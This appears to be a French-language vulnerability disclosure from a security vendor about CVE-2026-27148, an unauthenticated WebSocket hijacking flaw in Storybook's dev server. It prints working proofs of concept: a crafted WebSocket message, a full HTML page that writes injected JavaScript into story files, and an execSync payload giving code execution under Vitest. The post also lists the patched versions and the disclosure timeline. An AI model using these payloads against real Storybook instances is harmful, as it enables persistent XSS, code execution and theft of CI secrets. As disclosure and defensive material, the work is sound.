Aikido Attack, notre produit de pentest IA, a découvert une vulnérabilité de détournement de WebSocket dans le serveur de développement de Storybook qui peut conduire à une XSS persistante et à l'exécution de code à distance. Si elle n'est pas détectée, la charge utile pourrait se retrouver dans le contrôle de version, le pipeline CI/CD et la version de production de Storybook. Le serveur WebSocket de Storybook n'a pas d'authentification ni de contrôle d'accès, donc si le serveur de développement est publiquement accessible, un attaquant peut l'exploiter sans aucune interaction utilisateur. Dans la configuration locale plus courante, un développeur doit visiter un site web malveillant pendant que Storybook est en cours d'exécution.
Avis de sécurité : GHSA-mjf5-7g4m-gx5w
CVE : CVE-2026-27148
CVSS : 8.9 (Élevé)
Affected versions: Storybook >= 8.1.0 and < 10.2.10
Versions corrigées : 7.6.23, 8.6.17, 9.1.19, 10.2.10
La vulnérabilité
Storybook est un atelier frontend open-source pour construire et tester des composants d'interface utilisateur de manière isolée, en dehors de votre application principale. Pendant le développement, Storybook exécute un serveur local qui utilise des WebSockets pour alimenter ses fonctionnalités de création et d'édition de stories. Dans les versions antérieures, les développeurs devaient créer et modifier des composants de story dans leur éditeur préféré, et visualiser le résultat sur Storybook dans le navigateur. À partir de la version 8.1, les développeurs peuvent modifier les composants directement dans le navigateur via l'interface utilisateur de Storybook. C'est dans cette fonctionnalité de création et d'édition de stories que réside la vulnérabilité.
Le problème : le serveur WebSocket n'a absolument aucun contrôle d'accès. Il n'y a pas d'authentification, pas de validation de session, et pas de Origin vérification d'en-tête sur les connexions entrantes. Si le serveur de développement est accessible, n'importe qui peut se connecter et commencer à écrire des fichiers dans le répertoire des stories.
Cela crée deux scénarios d'attaque distincts. Si le serveur de développement Storybook est exposé publiquement, tout attaquant non authentifié sur Internet peut se connecter directement au point de terminaison WebSocket et l'exploiter sans aucune interaction utilisateur. Si le serveur de développement s'exécute localement, l'attaquant a besoin que le développeur visite une page web malveillante, qui ouvre ensuite une connexion WebSocket cross-origin vers ws://localhost:6006/storybook-server-channel en son nom.
Le point d'accès WebSocket à /storybook-server-channel accepte deux types de messages : createNewStoryfileRequest et saveStoryRequest. Les deux types écrivent dans le répertoire src/stories du système de fichiers.
Le code vulnérable réside dans deux gestionnaires WebSocket :
create-new-story-channel.tsgèrecreateNewStoryfileRequestsave-story.tsgère saveStoryRequest
Les deux délèguent à get-new-story-file.ts qui dérive basenameWithoutExtension à partir du `componentFilePath` fourni par l'utilisateur et le transmet non assaini à typescript.ts, où il est directement interpolé dans le code source généré.
Point d'injection : get-new-story-file.ts
const base = basename(componentFilePath); //"Button";alert(document.domain);var a='.tsx"
const extension = extname(componentFilePath); // « .tsx »
const basenameWithoutExtension = base.replace(extension, ''); // "Button";alert(document.domain);var a='"Sink : typescript.ts
const importName = data.componentIsDefaultExport
? await getComponentVariableName(data.basenameWithoutExtension)
: data.componentExportName; // ← user-controlled, unvalidated
...
const importStatement = data.componentIsDefaultExport
? `import ${importName} from './${data.basenameWithoutExtension}'`
: `import { ${importName} } from './${data.basenameWithoutExtension}'`; // ← injected here Fichier écrit sur le disque :
import type { Meta, StoryObj } from '@storybook/react-vite';
import { Button } from './Button-INJECTION_POINT-'; // ← injected here
const meta = {
component: Button,
} satisfies Meta<typeof Button>;
export default meta;
type Story = StoryObj<typeof meta>;
export const Default: Story = {};L'attaque : du message WebSocket à l'injection de code
Pour les instances exposées publiquement, l'exploitation est triviale : connectez-vous au point d'accès WebSocket et envoyez un message. Cela peut être entièrement automatisé et mis à l'échelle pour rechercher les instances de développement Storybook exposées sur Internet.
Pour les instances locales, l'attaque nécessite une étape supplémentaire : le développeur visite une page web malveillante qui ouvre silencieusement une connexion WebSocket vers localhost:6006 et envoie un message forgé :
{
"type": "createNewStoryfileRequest",
"args": [{
"id": "xss_poc",
"payload": {
"componentFilePath": "src/stories/Button';alert(document.domain);var a='.tsx",
"componentExportName": "Button",
"componentIsDefaultExport": false,
"componentExportCount": 1
}
}],
"from": "preview"
}
Le contenu injecté componentFilePath sort du contexte de la chaîne dans le fichier Story généré. Storybook écrit un nouveau fichier .stories.ts fichier sur le disque dans le répertoire src/stories avec le JavaScript de l'attaquant intégré.
Fichiers écrits sur le disque :
import type { Meta, StoryObj } from '@storybook/react-vite';
import { Button } from './Button';alert(document.domain);var a= ''; // ← injected here
const meta = {
component: Button,
} satisfies Meta<typeof Button>;
export default meta;
type Story = StoryObj<typeof meta>;
export const Default: Story = {};Le componentFilePath le champ est le vecteur d'injection le plus direct, mais componentExportName se propage vers les mêmes positions de template lorsque componentIsDefaultExport est faux, y compris la propriété component: et l'expression typeof dans le bloc meta.
Le PoC complet n'est qu'une simple page HTML :
<!DOCTYPE html>
<html>
<head><title>PoC</title></head>
<body>
<h1>Loading...</h1>
<script>
const ws = new WebSocket("ws://localhost:6006/storybook-server-channel");
ws.onopen = () => {
ws.send(JSON.stringify({
type: "createNewStoryfileRequest",
args: [{
id: "xss_poc",
payload: {
componentFilePath: "src/stories/Button';alert(document.domain);var a='.tsx",
componentExportName: "Button",
componentIsDefaultExport: false,
componentExportCount: 1
}
}],
from: "preview"
}));
};
</script>
</body>
</html>
C'est tout. Visitez la page, et le fichier de story injecté réside maintenant sur la machine du développeur.

Escalade : de XSS à RCE
L'impact de cette vulnérabilité s'étend au-delà des attaques transitoires basées sur le navigateur en raison de la manière dont Storybook s'intègre aux workflows de développement modernes.
La gravité s'intensifie dans les environnements où les stories sont utilisées pour les tests automatisés. De nombreuses équipes utilisent des « portable stories » pour exécuter des tests dans des environnements Node.js (par exemple, en utilisant Vitest avec JSDOM), au lieu de l'instance Chromium par défaut. Dans ces configurations non-standards mais courantes, le JavaScript injecté se retrouve dans un contexte NodeJS et s'exécute côté serveur. Cela confère à la charge utile les mêmes privilèges que le lanceur de tests, permettant potentiellement :
- Exfiltration de Credentials : Accès aux variables d'environnement et aux secrets CI/CD.
- Accès Système : Accès complet en lecture/écriture au système de fichiers local et au code source.
- Pivot réseau : La capacité d'atteindre des ressources réseau internes depuis l'agent de build ou la machine du développeur compromis.
Message WebSocket de preuve de concept :
{
"type": "createNewStoryfileRequest",
"args": [{
"id": "rce_stealth",
"payload": {
"componentFilePath": "src/stories/Button';(typeof process!=='undefined'&&console.log('RCE_PROOF:',require('child_process').execSync('id').toString()));var a='.tsx",
"componentExportName": "Button",
"componentIsDefaultExport": false,
"componentExportCount": 1
}
}],
"from": "preview"
}
Quand npx vitest s'exécute, qu'il soit déclenché manuellement, par une extension VS Code lors de la sauvegarde d'un fichier, ou dans un pipeline CI/CD, la sortie indique :
RCE_PROOF: uid=501(robbe) gid=20(staff) ...À ce stade, l'attaquant dispose de l'exécution de code dans l'environnement du développeur ou le pipeline CI, avec accès aux variables d'environnement, aux identifiants, au système de fichiers et au réseau.
L'angle de la chaîne d'approvisionnement
Le principal facteur de risque de cette vulnérabilité est le modèle de persistance, car la charge utile est écrite directement dans les fichiers source du projet. Si elle passe inaperçue, la charge utile peut être commise dans le contrôle de version. Si cela se produit, l'exploit pourrait se propager via plusieurs vecteurs :
- Distribution interne : Les membres de l'équipe qui récupèrent la branche mise à jour exécuteront la charge utile injectée localement lors de l'exécution de leurs propres instances Storybook ou suites de tests.
- Exécution du pipeline CI/CD : Les environnements de build et de test automatisés, qui s'exécutent souvent avec des permissions élevées pour accéder aux secrets et aux clés de déploiement, peuvent exécuter le code malveillant pendant la phase de test.
- Exposition de la documentation : Si le build Storybook est publié en tant que site de documentation hébergé, la charge utile XSS devient persistante pour tout intervenant, designer ou développeur consultant les composants.
Protections du navigateur
Google Chrome commence à implémenter des invites d'autorisation pour les requêtes WebSocket locales, comme protection contre les connexions WebSocket cross-origin vers localhost (Voir https://chromestatus.com/feature/5197681148428288). Firefox ne le fait pas. Ainsi, si votre équipe compte ne serait-ce qu'un utilisateur Firefox exécutant Storybook, il constitue une cible viable pour l'attaque cross-origin.
Pour les serveurs de développement exposés publiquement, rien de tout cela n'a d'importance. L'attaquant se connecte directement au point d'accès WebSocket sans passer par un navigateur. Aucune vérification d'origine, aucun CORS, aucune protection du navigateur n'est impliquée.
Correction
Mettez à jour Storybook vers l'une des versions corrigées : 7.6.23, 8.6.17, 9.1.19, ou 10.2.10. Le correctif ajoute une validation d'origine au serveur WebSocket. Dans les versions ultérieures, Storybook a également ajouté une désinfection aux storynames, afin de prévenir les attaques par injection.
Il est à noter que si la fonctionnalité vulnérable a été introduite dans la version 8.1, des correctifs ont été rétroportés vers la version 7.x à titre de mesure de précaution.
Si vos dépôts sont scannés par Aikido, les versions vulnérables de Storybook seront automatiquement signalées et apparaîtront dans votre flux.
Chronologie
- 6 février 2026 : Identifié par Aikido Attack (agent de pentest IA)
- 6 février 2026 : Divulgué à l'équipe de sécurité de Storybook
- 25 février 2026 : Corrigé dans Storybook 7.6.23, 8.6.17, 9.1.19, 10.2.10
- 25 février 2026 :GHSA-mjf5-7g4m-gx5w publié

